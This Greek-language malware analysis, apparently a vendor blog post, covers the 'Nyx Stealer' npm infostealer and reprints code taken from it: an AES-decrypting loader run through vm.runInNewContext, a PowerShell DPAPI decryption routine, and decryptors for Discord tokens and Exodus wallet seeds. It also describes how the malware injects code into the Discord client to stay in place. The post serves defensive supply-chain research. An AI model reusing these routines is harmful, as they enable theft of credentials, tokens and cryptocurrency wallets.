TL? DR
Η Ομάδα Έρευνας Ασφάλειας Xygeni εντόπισε μια εξελιγμένη καμπάνια κλοπής πληροφοριών npm που διακινήθηκε μέσω δύο κακόβουλων πακέτων: consolelofy και selfbot-lofy.
Η τελευταία έκδοση (consolelofy@1.3.0) ενσωματώνει ένα ωφέλιμο φορτίο 216KB κρυπτογραφημένο με AES που αποκρυπτογραφεί κατά τον χρόνο εκτέλεσης και εκτελείται μέσω vm.runInNewContext()Επειδή η κακόβουλη λογική είναι πλήρως κρυπτογραφημένη, οι στατικοί σαρωτές που βασίζονται στην επιθεώρηση συμβολοσειρών δεν μπορούν να παρατηρήσουν τη συμπεριφορά της μέχρι την ώρα εκτέλεσης.
Μόλις αποκρυπτογραφηθεί, το ωφέλιμο φορτίο, με εσωτερική επωνυμία Νυξ Στίλερ, στόχοι:
- διακριτικά ελέγχου ταυτότητας Discord
- 50+ καταστήματα πιστοποίησης προγράμματος περιήγησης
- 90+ επεκτάσεις πορτοφολιού κρυπτονομισμάτων
- Συνεδρίες Roblox, Instagram, Spotify, Steam, Telegram και TikTok
- Μόνιμη λειτουργία προγράμματος-πελάτη επιφάνειας εργασίας Discord
Και οι 20 εκδόσεις και στα δύο πακέτα αναφέρθηκαν και επιβεβαιώθηκαν ως κακόβουλες.
Τεχνική Επισκόπηση αυτού του npm Infostealer
Σε αντίθεση με το παραδοσιακό κακόβουλο λογισμικό που απαιτείται για εγκατάσταση, αυτή η καμπάνια βασίζεται σε ένα runtime μοντέλο αποκρυπτογράφησης.
Υπάρχουν:
- Χωρίς κακόβουλο λογισμικό
preinstallorpostinstallhooks - Δεν υπάρχουν προφανείς κλήσεις δικτύου κατά τον χρόνο εγκατάστασης
- Δεν υπάρχει λογική συλλογής διαπιστευτηρίων απλού κειμένου
Το ωφέλιμο φορτίο ενεργοποιείται κατά την εισαγωγή της ενότητας. Ολόκληρο το κακόβουλο σώμα κρυπτογραφείται και εμφανίζεται στη μνήμη μόνο κατά τον χρόνο εκτέλεσης.
Αυτός ο σχεδιασμός αποφεύγει συγκεκριμένα την ανίχνευση κατά την εγκατάσταση του πακέτου.
Πώς εκτελείται στην πραγματικότητα αυτό το npm Infostealer
Πριν αναλύσουμε τι κλέβει ο Nyx Stealer, πρέπει να καταλάβουμε πώς εκτελείται.
Η κακόβουλη λογική μέσα σε αυτό το npm infostealer ακολουθεί ένα συνεπές μοτίβο:
Ένας μικρός φορτωτής αποκρυπτογραφεί ένα μεγάλο κρυπτογραφημένο ωφέλιμο φορτίο και το εκτελεί δυναμικά μέσα σε ένα περιβάλλον εικονικής μηχανής Node.js.
Αυτός ο σχεδιασμός είναι σκόπιμος. Ο εισβολέας δεν κρύβει λειτουργικότητα μόνο πίσω από την παραμόρφωση, είναι αφαιρώντας πλήρως τον κακόβουλο κώδικα από τη στατική ορατότητα.
Μοντέλο Εκτέλεσης Υψηλού Επιπέδου
Σε υψηλό επίπεδο, το wrapper κάνει τέσσερα πράγματα:
- Παράγει ένα κλειδί AES από μια κωδικοποιημένη φράση πρόσβασης χρησιμοποιώντας SHA-256
- Αποκρυπτογραφεί ένα μεγάλο κρυπτογραφημένο κείμενο με δεκαεξαδική κωδικοποίηση χρησιμοποιώντας AES-256-CBC
- Εκτελεί την αποκρυπτογραφημένη JavaScript χρησιμοποιώντας
vm.runInNewContext() - Παρέχει ένα sandbox που εξακολουθεί να εκθέτει ισχυρά runtime primitives.
Σύνοψη Βασικής Τεχνικής
| Συστατικό | Διαμόρφωση / Τιμή |
|---|---|
| Αλγόριθμος | AES-256-CBC |
| Παραγωγή κλειδιού | SHA-256 (φράση πρόσβασης) |
| Διάνυσμα Αρχικοποίησης (IV) | 16 bytes του 0x00 |
| Εκτέλεση | vm.runInNewContext(αποκρυπτογραφημένο, sandbox) |
Κρίσιμα, το sandbox διέρχεται από:
requireprocessBuffer- χρονοδιακόπτες
- εξαγωγές λειτουργικών μονάδων
Αυτό σημαίνει ότι το αποκρυπτογραφημένο ωφέλιμο φορτίο διατηρεί πλήρη δυνατότητα για:
- Διαδικασίες δημιουργίας
- Ανάγνωση και εγγραφή αρχείων
- Πραγματοποίηση κλήσεων δικτύου
- Τροποποίηση τοπικών εφαρμογών
Αυτή δεν είναι μια περιορισμένη εικονική μηχανή. Είναι μια εικονική μηχανή που χρησιμοποιείται ως τραμπολίνο εκτέλεσης.
Μοτίβο κρυπτογράφησης χρόνου εκτέλεσης (Μηχανισμός εκτέλεσης πυρήνα)
Ο φορτωτής είναι μικρός.
Το κακόβουλο σώμα δεν είναι.
Παρακάτω είναι το μοτίβο εκτέλεσης που βρίσκεται μέσα στο πακέτο:
const crypto = require('crypto'); const vm = require('vm'); function decryptAndExecute(encryptedHex, passphrase) { const key = crypto.createHash('sha256') .update(passphrase) .digest(); const iv = Buffer.alloc(16, 0); const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv); let decrypted = decipher.update(encryptedHex, 'hex', 'utf8'); decrypted += decipher.final('utf8'); const sandbox = { require, module, exports, console, process, Buffer, __dirname, __filename, setTimeout, setInterval, clearTimeout, clearInterval }; vm.runInNewContext(decrypted, sandbox); } Γιατί Αυτό Θέματα
Το αποκρυπτογραφημένο ωφέλιμο φορτίο:
- Μήπως δεν υπάρχουν σε απλό κείμενο μέσα στο πακέτο npm
- Είναι αόρατο στο απλό
grepή στατική σάρωση συμβολοσειρών - Υλοποιείται στη μνήμη μόνο κατά τον χρόνο εκτέλεσης
- Εκτελείται με πλήρεις δυνατότητες εκτέλεσης Node
Αυτός ο συνδυασμός εκτέλεσης AES + VM είναι ένας ισχυρός δείκτης συμπεριφοράς ενός Ο κλέφτης πληροφοριών npm προσπαθεί να αποφύγει τον στατικό έλεγχο.
Με άλλα λόγια:
Αν σαρώσετε το δέντρο πηγαίου κώδικα πακέτων, δεν θα δείτε κάποιο πρόγραμμα κλοπής.
Βλέπεις ένα αποκρυπτογραφητή.
Τι συμβαίνει μετά την αποκρυπτογράφηση
Μόλις εκτελεστεί, το Nyx Stealer εκτοξεύει παράλληλα κύματα συλλογής δεδομένων.
Κύμα 1: Εξαγωγή διαπιστευτηρίων προγράμματος περιήγησης
Το κακόβουλο λογισμικό:
- Λήψη ενός runtime Python από το NuGet CDN
- Εγκαθιστά κρυπτογραφικές βιβλιοθήκες
- Εξάγει αποθήκες διαπιστευτηρίων με βάση το χρώμιο
- Αποκρυπτογραφεί μυστικά που προστατεύονται από DPAPI
Αντί να μεταγλωττίζει εγγενείς συνδέσεις, αξιοποιεί το PowerShell για να καλέσει απευθείας το DPAPI των Windows.
function dpapiUnprotectWithPowerShell(dataBuf) { const b64 = dataBuf.toString('base64'); const ps = "Add-Type -AssemblyName System.Security;" + "$b=[Convert]::FromBase64String('" + b64 + "');" + "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" + "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" + "[Console]::Out.Write([Convert]::ToBase64String($p))"; const cmd = `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`; return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); } Αυτή η προσέγγιση:
- Αποφεύγει τα αντικείμενα μεταγλώττισης
- Χρησιμοποιεί εγγενή API κρυπτογράφησης των Windows
- Ενσωματώνεται σε διοικητικά εργαλεία
Πρόκειται για αποκρυπτογράφηση διαπιστευτηρίων σε επίπεδο λειτουργικού συστήματος, όχι για συλλογή δεδομένων.
Κύμα 2: Αποκρυπτογράφηση διακριτικών Discord
Ο κλέφτης γνωρίζει το πρωτόκολλο. Κατανοεί τη μορφή κρυπτογραφημένου διακριτικού του Discord.
function decryptToken(encryptedToken, key) { const tokenParts = encryptedToken.split('dQw4w9WgXcQ:'); const encryptedData = Buffer.from(tokenParts[1], 'base64'); const iv = encryptedData.slice(3, 15); const ciphertext = encryptedData.slice(15, -16); const tag = encryptedData.slice(-16); const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv); decipher.setAuthTag(tag); return decipher.update(ciphertext).toString('utf8'); } Λειτουργική ροή:
- Εξαγωγή κύριου κλειδιού από το Discord's
Local State - Αποκρυπτογράφηση κύριου κλειδιού μέσω DPAPI
- Αποκρυπτογράφηση blob διακριτικών AES-GCM
- Επικύρωση διακριτικών σε σχέση με το Discord API
- Εμπλουτίστε με Nitro, σήματα, πληροφορίες χρέωσης
Αυτό δεν είναι γενική απόρριψη διαπιστευτηρίων. Είναι παραβίαση συνεδρίας με επίγνωση πρωτοκόλλου.
Κύμα 3: Στόχευση Πορτοφολιού Κρυπτονομισμάτων
Το npm infostealer απαριθμεί:
- 90+ επεκτάσεις πορτοφολιού προγράμματος περιήγησης
- 27 πορτοφόλια για υπολογιστές
- Μονοπάτια κρύου πορτοφολιού
- Αρχεία προέλευσης Exodus
Παράδειγμα προσπάθειας αποκρυπτογράφησης seed:
function decryptSeco(content, password) { const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512'); const decipher = crypto.createDecipheriv( 'aes-256-gcm', key, content.slice(0, 12) ); decipher.setAuthTag(content.slice(-16)); return Buffer.concat([ decipher.update(content.slice(12, -16)), decipher.final() ]).toString('utf8'); } Εάν είναι επιτυχής, η παραβίαση του πορτοφολιού είναι άμεση και μη αναστρέψιμη.
Αυτό αντιπροσωπεύει το διάνυσμα δημιουργίας εσόδων με την υψηλότερη αξία της καμπάνιας.
Επιμονή μέσω Discord Desktop Injection
Μετά τη συλλογή διαπιστευτηρίων, ο Nyx Stealer επιχειρεί να διατηρήσει την επιμονή τροποποιώντας την τοπική Διχόνοια πελάτη.
Στόχος:
%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js Λειτουργική Ακολουθία
Ο κλέφτης πληροφοριών εκτελεί τα ακόλουθα βήματα:
- Τερματίζει την εκτέλεση διεργασιών Discord
- Εντοπίζει εγκατεστημένες παραλλαγές του Discord (Stable, Canary, PTB)
- Αντικαθιστά
discord_desktop_core/index.js - Εγχέει λογική webhook που ελέγχεται από εισβολέα
- Επανεκκινεί το Discord
Αυτό διασφαλίζει ότι οι μελλοντικές συνεδρίες του Discord θα διαρρέουν αυτόματα νέα διακριτικά ελέγχου ταυτότητας.
Είναι σημαντικό ότι αυτή η επιμονή δεν βασίζεται σε προγραμματισμένες εργασίες ή τροποποιήσεις μητρώου. Αξιοποιεί την τροποποίηση κώδικα σε επίπεδο εφαρμογής, μια πιο αθόρυβη προσέγγιση.
Ακόμα κι αν το κακόβουλο πακέτο npm αφαιρεθεί αργότερα, το πρόγραμμα-πελάτης Discord παραμένει παραβιασμένο.
Τεχνική Σύγκριση: Νόμιμος Selfbot vs npm Infostealer
| Συστατικό | Νόμιμη Βιβλιοθήκη | Nyx npm Infostealer |
|---|---|---|
| κρυπτογράφηση | Ν/Α | Πλήρες κρυπτογραφημένο ωφέλιμο φορτίο AES |
| Εικονική Μηχανή (VM) χρόνου εκτέλεσης | Δεν απαιτείται | vm.runInNewContext εκτέλεση |
| Πρόσβαση διαπιστευτηρίων | Μόνο API Discord | Πρόγραμμα περιήγησης, πορτοφόλια, DPAPI |
| Εξωτερικές λήψεις | Οχι | Χρόνος εκτέλεσης Python μέσω NuGet |
| Επιμονή | Οχι | Ένεση πελάτη Discord |
| Νομισματοποίηση | Αυτοματοποίηση bot | Μεταπώληση διαπιστευτηρίων |
Το επίπεδο κρυπτογράφησης από μόνο του διαχωρίζει ήδη αυτήν την καμπάνια από ένα τυπικό fork ανοιχτού κώδικα.
Ένα νόμιμο selfbot του Discord δεν έχει κανένα λόγο να κρυπτογραφήσει ολόκληρο τον κώδικά του, να δημιουργήσει το PowerShell για πρόσβαση στο DPAPI, να κατεβάσει εξωτερικούς χρόνους εκτέλεσης ή να τροποποιήσει εσωτερικά στοιχεία εφαρμογών επιφάνειας εργασίας. Όταν αυτές οι δυνατότητες εμφανίζονται μέσα σε μια εξάρτηση που ισχυρίζεται ότι αυτοματοποιεί τις αλληλεπιδράσεις του Discord, η αρχιτεκτονική αναντιστοιχία καθίσταται αδύνατο να αγνοηθεί.
Από την άποψη της έρευνας, αυτός ο npm infostealer αφήνει ίχνη σε πολλαπλά επίπεδα. Ωστόσο, οι πιο αξιόπιστοι δείκτες δεν είναι οι ενσωματωμένες διευθύνσεις URL ή οι συγκεκριμένες διαδρομές αρχείων, καθώς αυτές μπορούν να αλλάξουν μεταξύ των εκδόσεων. Αντίθετα, τα ανθεκτικά σήματα είναι δομικά.
Σε επίπεδο πακέτου, η ισχυρότερη κόκκινη σημαία είναι ο συνδυασμός ενός μεγάλου κρυπτογραφημένου ωφέλιμου φορτίου και ενός περιτυλίγματος αποκρυπτογράφησης χρόνου εκτέλεσης που εκτελείται αμέσως μέσω vm.runInNewContext()Ενώ η κρυπτογράφηση από μόνη της δεν είναι εγγενώς κακόβουλη, η χρήση αποκρυπτογράφησης AES ακολουθούμενης από δυναμική εκτέλεση VM μέσα σε ένα πακέτο βοηθητικού προγράμματος Discord είναι εξαιρετικά ασυνήθιστη.
Σε επίπεδο κεντρικού υπολογιστή, τα ύποπτα μοτίβα περιλαμβάνουν απροσδόκητη δραστηριότητα αποκρυπτογράφησης DPAPI, δημιουργία διεργασιών από ένα περιβάλλον εξάρτησης Node.js και τροποποίηση τοπικών αρχείων εφαρμογής που δεν πρέπει ποτέ να τροποποιηθούν από βιβλιοθήκες τρίτων. Ομοίως, στο επίπεδο δικτύου, η εξερχόμενη επικοινωνία τύπου webhook που ξεκινά από μια εξάρτηση ανάπτυξης αντιπροσωπεύει μια άλλη σημαντική ανωμαλία.
Με άλλα λόγια, η επιφάνεια ανίχνευσης δεν αποτελεί μεμονωμένη ένδειξη παραβίασης. Είναι η συσχέτιση της κρυπτογράφησης, της εκτέλεσης κατά τον χρόνο εκτέλεσης, της πρόσβασης σε διαπιστευτήρια και της συμπεριφοράς επιμονής που αποκαλύπτει την απειλή.
Ανίχνευση και μετριασμός με Xygeni
Αυτός ο κλέφτης πληροφοριών npm αναγνωρίστηκε από Έγκαιρη προειδοποίηση κακόβουλου λογισμικού (MEW) του Xygeni μέσω πολυεπίπεδης συσχέτισης συμπεριφοράς αντί για απλή αντιστοίχιση υπογραφών.
Αντί να αναζητά γνωστές κακόβουλες συμβολοσειρές, το MEW αξιολογεί δομικές ανωμαλίες σε ολόκληρο το δέντρο πηγής. Σε αυτήν την περίπτωση, η ανίχνευση προέκυψε από τη σύγκλιση αρκετών σημάτων: μια ενσωματωμένη ρουτίνα αποκρυπτογράφησης AES στο σημείο εισόδου της μονάδας, άμεση εκτέλεση μέσα σε ένα περιβάλλον VM και μια σαφή αναντιστοιχία μεταξύ δυνατοτήτων και πρόθεσης.
Είναι σημαντικό ότι κανένα από αυτά τα σήματα από μόνο του δεν αποδεικνύει κακόβουλη πρόθεση. Ωστόσο, όταν αναλύονται μαζί, αποκαλύπτουν μια προσπάθεια απόκρυψης της συμπεριφοράς κατά τον χρόνο εκτέλεσης. Αυτή η πολυεπίπεδη προσέγγιση μειώνει σημαντικά τα ψευδώς θετικά αποτελέσματα, ενώ παράλληλα εντοπίζει απειλές υψηλής αξιοπιστίας στην εφοδιαστική αλυσίδα.
Επιπλέον, αυτή η περίπτωση καταδεικνύει γιατί η επιθεώρηση κατά την εγκατάσταση από μόνη της δεν επαρκεί. Η κακόβουλη λογική δεν βρίσκεται σε σενάρια κύκλου ζωής. Ενεργοποιείται μόνο μετά τη φόρτωση της ενότητας και γίνεται ορατή μόνο μετά την αποκρυπτογράφηση στη μνήμη. Επομένως, η αποτελεσματική άμυνα απαιτεί ανάλυση με επίγνωση της κρυπτογράφησης, αναγνώριση μοτίβων συμπεριφοράς και συνεχή παρακολούθηση εξαρτήσεων πέρα από τα συμβάντα εγκατάστασης.
Η κατάργηση του μητρώου είναι αντιδραστική. Η ανάλυση με επίγνωση χρόνου εκτέλεσης είναι προληπτική.
Γιατί έχει σημασία αυτό το npm Infostealer
Το Nyx Stealer αντιπροσωπεύει μια δομική εξέλιξη στο κακόβουλο λογισμικό που βασίζεται σε npm.
Ιστορικά, πολλά κακόβουλα πακέτα βασίζονταν σε ορατά σενάρια κατά τον χρόνο εγκατάστασης ή σε προφανή τελικά σημεία εξαγωγής διαπιστευτηρίων. Αντίθετα, αυτή η καμπάνια κρυπτογραφεί το ωφέλιμο φορτίο της, αναβάλλει την εκτέλεση στον χρόνο εκτέλεσης, αξιοποιεί νόμιμα API λειτουργικού συστήματος και δημιουργεί persistence μέσα σε αξιόπιστες εφαρμογές.
Συνεπώς, ο εισβολέας δεν χρειάζεται να εκμεταλλευτεί ο ίδιος την υποδομή npm. Αντίθετα, η επίθεση επιτυγχάνει επειδή η εγκατάσταση εξαρτήσεων συνεπάγεται εμπιστοσύνη. Οι προγραμματιστές υποθέτουν ότι η εισαγωγή μιας βιβλιοθήκης είναι μια ασφαλής λειτουργία, ειδικά όταν παρουσιάζεται ως μια πιθανή διακλάδωση ενός δημοφιλούς εργαλείου.
Καθώς τα οικοσυστήματα συνεχίζουν να αναπτύσσονται και τα fork να πολλαπλασιάζονται, αυτό το έμμεσο όριο εμπιστοσύνης γίνεται μια ολοένα και πιο ελκυστική επιφάνεια επίθεσης. Επομένως, η άμυνα ενάντια στους σύγχρονους npm infostealer απαιτεί την αναγνώριση αρχιτεκτονικών μοτίβων αντί για την αναζήτηση στατικών συμβολοσειρών.
Τελικά, αυτή η καμπάνια ενισχύει ένα κρίσιμο μάθημα σχετικά με software supply chain security: οι πιο επικίνδυνες απειλές δεν είναι αυτές που φαίνονται κακόβουλες με την πρώτη ματιά, αλλά αυτές που φαίνονται δομικά νόμιμες μέχρι ο χρόνος εκτέλεσης να αποκαλύψει την πραγματική τους συμπεριφορά.




